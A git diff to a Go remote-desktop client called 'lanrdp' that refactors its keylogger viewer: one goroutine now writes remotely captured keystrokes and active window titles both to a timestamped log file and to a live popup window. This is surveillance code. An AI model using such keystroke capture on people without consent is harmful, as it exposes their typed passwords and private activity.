diff --git a/cmd/client/keylog_window_windows.go b/cmd/client/keylog_window_windows.go index 61c0f15..81f71d7 100644 --- a/cmd/client/keylog_window_windows.go +++ b/cmd/client/keylog_window_windows.go @@ -26,46 +26,65 @@ var keylogWindowHwnd uintptr func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) { defer close(done) - // Determine log file path (same directory as executable) + var logFile *os.File exePath, err := os.Executable() - if err != nil { - fmt.Printf("keylog: could not determine exe path: %v\n", err) - } else { + if err == nil { logDir := filepath.Dir(exePath) timestamp := time.Now().Format("2006-01-02_15-04-05") - logFile, err := os.Create(filepath.Join(logDir, fmt.Sprintf("lanrdp_keylog_%s.txt", timestamp))) - if err != nil { - fmt.Printf("keylog: could not create log file: %v\n", err) + var createErr error + logFile, createErr = os.Create(filepath.Join(logDir, fmt.Sprintf("lanrdp_keylog_%s.txt", timestamp))) + if createErr != nil { + fmt.Printf("keylog: could not create log file: %v\n", createErr) } else { defer logFile.Close() - - // Write header logFile.WriteString(fmt.Sprintf("lanrdp keylog started at %s\n", time.Now().Format(time.RFC3339))) logFile.WriteString(strings.Repeat("-", 80) + "\n") - - // Start file logging goroutine - go func() { - for event := range events { - line := keylog.FormatEvent(keylog.KeyEvent{ - TimestampMs: event.TimestampMs, - VKCode: event.VKCode, - ScanCode: event.ScanCode, - Flags: event.Flags, - WindowTitle: event.WindowTitle, - }) - logFile.WriteString(line + "\n") - } - }() - fmt.Printf("keylog: writing to %s\n", logFile.Name()) } } - // Also create a simple popup window for live display - createKeylogWindow(events) + // Single consumer goroutine that fans out to both file and window + var mu sync.Mutex + var lines []string + + go func() { + for event := range events { + line := keylog.FormatEvent(keylog.KeyEvent{ + TimestampMs: event.TimestampMs, + VKCode: event.VKCode, + ScanCode: event.ScanCode, + Flags: event.Flags, + WindowTitle: event.WindowTitle, + }) + + // Write to file + if logFile != nil { + logFile.WriteString(line + "\n") + } + + // Update window display (keep last 100 lines) + mu.Lock() + lines = append(lines, line) + if len(lines) > 100 { + lines = lines[1:] + } + var sb strings.Builder + for _, l := range lines { + sb.WriteString(l + "\n") + } + text, _ := windows.UTF16PtrFromString(sb.String()) + if keylogWindowHwnd != 0 { + procSetWindowTextW.Call(keylogWindowHwnd, uintptr(unsafe.Pointer(text))) + } + mu.Unlock() + } + }() + + // Create the popup window for live display + createKeylogWindow() } -func createKeylogWindow(events <-chan protocol.KeyLogEvent) { +func createKeylogWindow() { className, _ := windows.UTF16PtrFromString("lanrdp_keylog_window") title, _ := windows.UTF16PtrFromString("lanrdp — Keylogger") @@ -103,35 +122,6 @@ func createKeylogWindow(events <-chan protocol.KeyLogEvent) { } keylogWindowHwnd = hwnd - // Start consuming key events and updating the display - var mu sync.Mutex - var lines []string - - go func() { - for event := range events { - line := keylog.FormatEvent(keylog.KeyEvent{ - TimestampMs: event.TimestampMs, - VKCode: event.VKCode, - ScanCode: event.ScanCode, - Flags: event.Flags, - WindowTitle: event.WindowTitle, - }) - - mu.Lock() - lines = append(lines, line) - if len(lines) > 100 { - lines = lines[1:] // Keep last 100 lines in window - } - var sb strings.Builder - for _, l := range lines { - sb.WriteString(l + "\n") - } - text, _ := windows.UTF16PtrFromString(sb.String()) - procSetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(text))) - mu.Unlock() - } - }() - // Run message loop for this window on its own goroutine go func() { var m msgT